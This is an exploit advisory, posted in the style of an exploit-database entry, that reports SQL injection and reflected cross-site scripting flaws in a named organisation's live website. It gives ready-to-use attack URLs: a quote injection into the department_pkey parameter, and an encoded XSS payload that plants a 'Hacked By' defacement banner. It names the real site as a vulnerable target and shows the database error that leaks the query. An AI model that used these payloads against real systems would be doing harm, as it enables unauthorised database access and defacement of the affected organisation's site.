###################################################################
# Exploit Title : YanFook Cross Site Scripting SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 23/05/2019
# Vendor Homepage : yanfook.org.hk
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-79 [ Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
Yanfook is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize
user-supplied data before using it in an SQL query. Exploiting this issue could allow
an attacker to compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database. A remote attacker can send a specially crafted
request to the vulnerable application and execute arbitrary SQL commands in
application`s database. Further exploitation of this vulnerability may result in
unauthorized data manipulation. An attacker can exploit this issue using a browser
or with any SQL Injector Tool.
Reflected XSS (or Non-Persistent) :
***************************************
The server reads data directly from the HTTP
request and reflects it back in the HTTP response. Reflected XSS exploits occur when an
attacker causes a victim to supply dangerous content to a vulnerable web application,
which is then reflected back to the victim and executed by the web browser. The most common
mechanism for delivering malicious content is to include it as a parameter in a URL that is
posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
the content is executed by the victim's browser.
###################################################################
# SQL Injection Exploit :
**********************
/chs/department_page_news_details?content=news&department_pkey=1%27
# Cross Site Scripting XSS Exploit :
********************************
/chs/department_page_news_details?content=news&department_pkey=
1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20By%20
KingSkrupellos%3C/font%3E%3C/marquee%3E
###################################################################
# Example Vulnerable Sites :
*************************
[+] www.yanfook.org.hk/chs/department_page_news_details?content=news&department_pkey=1%27
[+] www.yanfook.org.hk/chs/department_page_news_details?content=news&department_pkey=
1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20By%20
KingSkrupellos%3C/font%3E%3C/marquee%3E
###################################################################
# Example SQL Database Error :
****************************
Invalid query: SELECT * FROM tbl_department WHERE 1=1 and pkey = 1'
ERROR: You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version for the right syntax to use near ''' at line 1
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################